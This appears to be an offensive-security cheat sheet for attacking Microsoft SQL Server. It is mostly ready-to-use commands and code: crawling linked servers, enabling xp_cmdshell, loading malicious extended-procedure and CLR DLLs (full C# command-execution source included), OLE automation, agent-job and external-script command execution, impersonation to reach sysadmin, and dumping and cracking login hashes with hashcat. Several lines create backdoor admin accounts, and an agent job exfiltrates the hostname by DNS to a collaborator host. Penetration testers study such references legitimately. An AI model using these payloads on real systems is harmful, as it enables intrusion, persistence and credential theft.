MSSQL Server
Summary
- Identify Instances and Databases
- Identify Sensitive Information
- Linked Database
- Find Trusted Link
- Execute Query Through The Link
- Crawl Links for Instances in the Domain
- Crawl Links for a Specific Instance
- Query Version of Linked Database
- Execute Procedure on Linked Database
- Determine Names of Linked Databases
- Determine All the Tables Names from a Selected Linked Database
- Gather the Top 5 Columns from a Selected Linked Table
- Gather Entries from a Selected Linked Column
- Command Execution via xp_cmdshell
- Extended Stored Procedure
- CLR Assemblies
- OLE Automation
- Agent Jobs
- External Scripts
- Audit Checks
- Find databases that have been configured as trustworthy
- Manual SQL Server Queries
- Query Current User & determine if the user is a sysadmin
- Current Role
- Current DB
- List all tables
- List all databases
- All Logins on Server
- All Database Users for a Database
- List All Sysadmins
- List All Database Roles
- Effective Permissions from the Server
- Effective Permissions from the Database
- Find SQL Server Logins Which can be Impersonated for the Current Database
- Exploiting Impersonation
- Exploiting Nested Impersonation
- MSSQL Accounts and Hashes
- References
Identify Instances and Databases
Discover Local SQL Server Instances
Get-SQLInstanceLocal
Discover Domain SQL Server Instances
Get-SQLInstanceDomain -Verbose
# Get Server Info for Found Instances
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
# Get Database Names
Get-SQLInstanceDomain | Get-SQLDatabase -NoDefaults
Discover Remote SQL Server Instances
Get-SQLInstanceBroadcast -Verbose
Get-SQLInstanceScanUDPThreaded -Verbose -ComputerName SQLServer1
Identify Encrypted databases
Note: These are automatically decrypted for admins
Get-SQLDatabase -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Verbose | Where-Object {$_.is_encrypted -eq "True"}
Version Query
Get-SQLInstanceDomain | Get-Query "select @@version"
Identify Sensitive Information
Get Tables from a Specific Database
Get-SQLInstanceDomain | Get-SQLTable -DatabaseName <DBNameFromGet-SQLDatabaseCommand> -NoDefaults
Get Column Details from a Table
Get-SQLInstanceDomain | Get-SQLColumn -DatabaseName <DBName> -TableName <TableName>
Gather 5 Entries from Each Column
Get-SQLInstanceDomain | Get-SQLColumnSampleData -Keywords "<columnname1,columnname2,columnname3,columnname4,columnname5>" -Verbose -SampleSize 5
Gather 5 Entries from a Specific Table
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query 'select TOP 5 * from <DatabaseName>.dbo.<TableName>'
Dump common information from server to files
Invoke-SQLDumpInfo -Verbose -Instance SQLSERVER1\Instance1 -csv
Linked Database
Find Trusted Link
select * from master..sysservers
Execute Query Through The Link
-- execute query through the link
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
select version from openquery("linkedserver", 'select @@version as version');
-- chain multiple openquery
select version from openquery("link1",'select version from openquery("link2","select @@version as version")')
-- execute shell commands
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer
select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')
-- create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
Crawl Links for Instances in the Domain
A Valid Link Will Be Identified by the DatabaseLinkName Field in the Results
Get-SQLInstanceDomain | Get-SQLServerLink -Verbose
select * from master..sysservers
Crawl Links for a Specific Instance
Get-SQLServerLinkCrawl -Instance "<DBSERVERNAME\DBInstance>" -Verbose
select * from openquery("<instance>",'select * from openquery("<instance2>",''select * from master..sysservers'')')
Query Version of Linked Database
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DBSERVERNAME\DBInstance>`",'select @@version')" -Verbose
Execute Procedure on Linked Database
SQL> EXECUTE('EXEC sp_configure ''show advanced options'',1') at "linked.database.local";
SQL> EXECUTE('RECONFIGURE') at "linked.database.local";
SQL> EXECUTE('EXEC sp_configure ''xp_cmdshell'',1;') at "linked.database.local";
SQL> EXECUTE('RECONFIGURE') at "linked.database.local";
SQL> EXECUTE('exec xp_cmdshell whoami') at "linked.database.local";
Determine Names of Linked Databases
tempdb, model ,and msdb are default databases usually not worth looking into. Master is also default but may have something and anything else is custom and definitely worth digging into. The result is DatabaseName which feeds into following query.
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select name from sys.databases')" -Verbose
Determine All the Tables Names from a Selected Linked Database
The result is TableName which feeds into following query
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select name from <DatabaseNameFromPreviousCommand>.sys.tables')" -Verbose
Gather the Top 5 Columns from a Selected Linked Table
The results are ColumnName and ColumnValue which feed into following query
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select TOP 5 * from <DatabaseNameFromPreviousCommand>.dbo.<TableNameFromPreviousCommand>')" -Verbose
Gather Entries from a Selected Linked Column
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`"'select * from <DatabaseNameFromPreviousCommand>.dbo.<TableNameFromPreviousCommand> where <ColumnNameFromPreviousCommand>=<ColumnValueFromPreviousCommand>')" -Verbose
Command Execution via xp_cmdshell
xp_cmdshell disabled by default since SQL Server 2005
PowerUpSQL> Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command whoami
# Creates and adds local user backup to the local administrators group:
PowerUpSQL> Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "net user backup Password1234 /add'" -Verbose
PowerUpSQL> Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "net localgroup administrators backup /add" -Verbose
- Manually execute the SQL query
sql EXEC xp_cmdshell "net user"; EXEC master..xp_cmdshell 'whoami' EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'; EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';
- If you need to reactivate xp_cmdshell (disabled by default in SQL Server 2005)
sql EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
- If the procedure was uninstalled
sql sp_addextendedproc 'xp_cmdshell','xplog70.dll'
Extended Stored Procedure
Add the extended stored procedure and list extended stored procedures
# Create evil DLL
Create-SQLFileXpDll -OutFile C:\temp\test.dll -Command "echo test > c:\temp\test.txt" -ExportName xp_test
# Load the DLL and call xp_test
Get-SQLQuery -UserName sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Query "sp_addextendedproc 'xp_test', '\\10.10.0.1\temp\test.dll'"
Get-SQLQuery -UserName sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Query "EXEC xp_test"
# Listing existing
Get-SQLStoredProcedureXP -Instance "<DBSERVERNAME\DBInstance>" -Verbose
- Build a DLL using xp_evil_template.cpp
- Load the DLL
sql -- can also be loaded from UNC path or Webdav sp_addextendedproc 'xp_calc', 'C:\mydll\xp_calc.dll' EXEC xp_calc sp_dropextendedproc 'xp_calc'
CLR Assemblies
Prerequisites: * sysadmin privileges * CREATE ASSEMBLY permission (or) * ALTER ASSEMBLY permission (or)
The execution takes place with privileges of the service account.
Execute commands using CLR assembly
# Create C# code for the DLL, the DLL and SQL query with DLL as hexadecimal string
Create-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir C:\Users\user\Desktop
# Execute command using CLR assembly
Invoke-SQLOSCmdCLR -Username sa -Password <password> -Instance <instance> -Command "whoami" -Verbose
Invoke-SQLOSCmdCLR -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "whoami" Verbose
Invoke-SQLOSCmdCLR -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell -e <base64>" -Verbose
# List all the stored procedures added using CLR
Get-SQLStoredProcedureCLR -Instance <instance> -Verbose
Manually creating a CLR DLL and importing it
Create a C# DLL file with the following content, with the command : C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library c:\temp\cmd_exec.cs
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;
public partial class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void cmd_exec (SqlString execCommand)
{
Process proc = new Process();
proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
// Create the record and specify the metadata for the columns.
SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
// Mark the beginning of the result set.
SqlContext.Pipe.SendResultsStart(record);
// Set values for each column in the row
record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
// Send the row back to the client.
SqlContext.Pipe.SendResultsRow(record);
// Mark the end of the result set.
SqlContext.Pipe.SendResultsEnd();
proc.WaitForExit();
proc.Close();
}
};
Then follow these instructions:
- Enable
show advanced options
on the serversql sp_configure 'show advanced options',1; RECONFIGURE GO
- Enable CLR on the server
sql sp_configure 'clr enabled',1 RECONFIGURE GO
- Import the assembly
sql CREATE ASSEMBLY my_assembly FROM 'c:\temp\cmd_exec.dll' WITH PERMISSION_SET = UNSAFE;
- Link the assembly to a stored procedure
sql CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec]; GO
- Execute and clean
sql cmd_exec "whoami" DROP PROCEDURE cmd_exec DROP ASSEMBLY my_assembly
CREATE ASSEMBLY will also accept an hexadecimal string representation of a CLR DLL
CREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM
0x4D5A90000300000004000000F[TRUNCATED]
WITH PERMISSION_SET = UNSAFE
GO
OLE Automation
- :warning: Disabled by default
- The execution takes place with privileges of the service account.
Execute commands using OLE automation procedures
Invoke-SQLOSCmdOle -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "whoami" Verbose
# Enable OLE Automation
EXEC sp_configure 'show advanced options', 1
EXEC sp_configure reconfigure
EXEC sp_configure 'OLE Automation Procedures', 1
EXEC sp_configure reconfigure
# Execute commands
DECLARE @execmd INT
EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT
EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%\system32\cmd.exe /c'
# https://github.com/blackarrowsec/mssqlproxy/blob/master/mssqlclient.py
python3 mssqlclient.py 'host/username:password@10.10.10.10' -install -clr Microsoft.SqlServer.Proxy.dll
python3 mssqlclient.py 'host/username:password@10.10.10.10' -check -reciclador 'C:\windows\temp\reciclador.dll'
python3 mssqlclient.py 'host/username:password@10.10.10.10' -start -reciclador 'C:\windows\temp\reciclador.dll'
SQL> enable_ole
SQL> upload reciclador.dll C:\windows\temp\reciclador.dll
Agent Jobs
- The execution takes place with privileges of the SQL Server Agent service account if a proxy account is not configured.
- :warning: Require sysadmin or SQLAgentUserRole, SQLAgentReaderRole, and SQLAgentOperatorRole roles to create a job.
Execute commands through SQL Agent Job service
Invoke-SQLOSCmdAgentJob -Subsystem PowerShell -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell e <base64encodedscript>" -Verbose
Subsystem Options:
–Subsystem CmdExec
-SubSystem PowerShell
–Subsystem VBScript
–Subsystem Jscript
USE msdb;
EXEC dbo.sp_add_job @job_name = N'test_powershell_job1';
EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'$name=$env:COMPUTERNAME[10];nslookup "$name.redacted.burpcollaborator.net"', @retry_attempts = 1, @retry_interval = 5 ;
EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1';
EXEC dbo.sp_start_job N'test_powershell_job1';
-- delete
EXEC dbo.sp_delete_job @job_name = N'test_powershell_job1';
List All Jobs
SELECT job_id, [name] FROM msdb.dbo.sysjobs;
SELECT job.job_id, notify_level_email, name, enabled, description, step_name, command, server, database_name FROM msdb.dbo.sysjobs job INNER JOIN msdb.dbo.sysjobsteps steps ON job.job_id = steps.job_id
Get-SQLAgentJob -Instance "<DBSERVERNAME\DBInstance>" -username sa -Password Password1234 -Verbose
External Scripts
:warning: You need to enable external scripts.
sp_configure 'external scripts enabled', 1;
RECONFIGURE;
Python:
Invoke-SQLOSCmdPython -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell -e <base64encodedscript>" -Verbose
EXEC sp_execute_external_script @language =N'Python',@script=N'import subprocess p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE) OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
WITH RESULT SETS (([cmd_out] nvarchar(max)))
R
Invoke-SQLOSCmdR -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell -e <base64encodedscript>" -Verbose
EXEC sp_execute_external_script @language=N'R',@script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))'
WITH RESULT SETS (([cmd_out] text));
GO
@script=N'OutputDataSet <-data.frame(shell("dir",intern=T))'
Audit Checks
Find and exploit impersonation opportunities
- Impersonate as:
EXECUTE AS LOGIN = 'sa'
- Impersonate
dbo
with DB_OWNERsql SQL> select is_member('db_owner'); SQL> execute as user = 'dbo' SQL> SELECT is_srvrolemember('sysadmin')
Invoke-SQLAuditPrivImpersonateLogin -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Exploit -Verbose
# impersonate sa account
powerpick Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "EXECUTE AS LOGIN = 'sa'; SELECT IS_SRVROLEMEMBER(''sysadmin'')" -Verbose -Debug
Find databases that have been configured as trustworthy
Invoke-SQLAuditPrivTrustworthy -Instance "<DBSERVERNAME\DBInstance>" -Exploit -Verbose
SELECT name as database_name, SUSER_NAME(owner_sid) AS database_owner, is_trustworthy_on AS TRUSTWORTHY from sys.databases
The following audit checks run web requests to load Inveigh via reflection. Be mindful of the environment and ability to connect outbound.
Invoke-SQLAuditPrivXpDirtree
Invoke-SQLUncPathInjection
Invoke-SQLAuditPrivXpFileexist
Manual SQL Server Queries
Query Current User & determine if the user is a sysadmin
select suser_sname()
Select system_user
select is_srvrolemember('sysadmin')
Current Role
Select user
Current DB
select db_name()
List all tables
select table_name from information_schema.tables
List all databases
select name from master..sysdatabases
All Logins on Server
Select * from sys.server_principals where type_desc != 'SERVER_ROLE'
All Database Users for a Database
Select * from sys.database_principals where type_desc != 'database_role';
List All Sysadmins
SELECT name,type_desc,is_disabled FROM sys.server_principals WHERE IS_SRVROLEMEMBER ('sysadmin',name) = 1
List All Database Roles
SELECT DB1.name AS DatabaseRoleName,
isnull (DB2.name, 'No members') AS DatabaseUserName
FROM sys.database_role_members AS DRM
RIGHT OUTER JOIN sys.database_principals AS DB1
ON DRM.role_principal_id = DB1.principal_id
LEFT OUTER JOIN sys.database_principals AS DB2
ON DRM.member_principal_id = DB2.principal_id
WHERE DB1.type = 'R'
ORDER BY DB1.name;
Effective Permissions from the Server
select * from fn_my_permissions(null, 'server');
Effective Permissions from the Database
SELECT * FROM fn_dp1my_permissions(NULL, 'DATABASE');
Find SQL Server Logins Which can be Impersonated for the Current Database
select distinct b.name
from sys.server_permissions a
inner join sys.server_principals b
on a.grantor_principal_id = b.principal_id
where a.permission_name = 'impersonate'
Exploiting Impersonation
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
EXECUTE AS LOGIN = 'adminuser'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
SELECT ORIGINAL_LOGIN()
Exploiting Nested Impersonation
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
EXECUTE AS LOGIN = 'stduser'
SELECT SYSTEM_USER
EXECUTE AS LOGIN = 'sa'
SELECT IS_SRVROLEMEMBER('sysadmin')
SELECT ORIGINAL_LOGIN()
SELECT SYSTEM_USER
MSSQL Accounts and Hashes
MSSQL 2000:
SELECT name, password FROM master..sysxlogins
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins (Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.)
MSSQL 2005
SELECT name, password_hash FROM master.sys.sql_logins
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins
Then crack passwords using Hashcat : hashcat -m 1731 -a 0 mssql_hashes_hashcat.txt /usr/share/wordlists/rockyou.txt --force
131 MSSQL (2000) 0x01002702560500000000000000000000000000000000000000008db43dd9b1972a636ad0c7d4b8c515cb8ce46578
132 MSSQL (2005) 0x010018102152f8f28c8499d8ef263c53f8be369d799f931b2fbe
1731 MSSQL (2012, 2014) 0x02000102030434ea1b17802fd95ea6316bd61d2c94622ca3812793e8fb1672487b5c904a45a31b2ab4a78890d563d2fcf5663e46fe797d71550494be50cf4915d3f4d55ec375
References
- PowerUpSQL Cheat Sheet & SQL Server Queries - Leo Pitt
- PowerUpSQL Cheat Sheet - Scott Sutherland
- Attacking SQL Server CLR Assemblies - Scott Sutherland - July 13th, 2017
- MSSQL Agent Jobs for Command Execution - Nicholas Popovich - September 21, 2016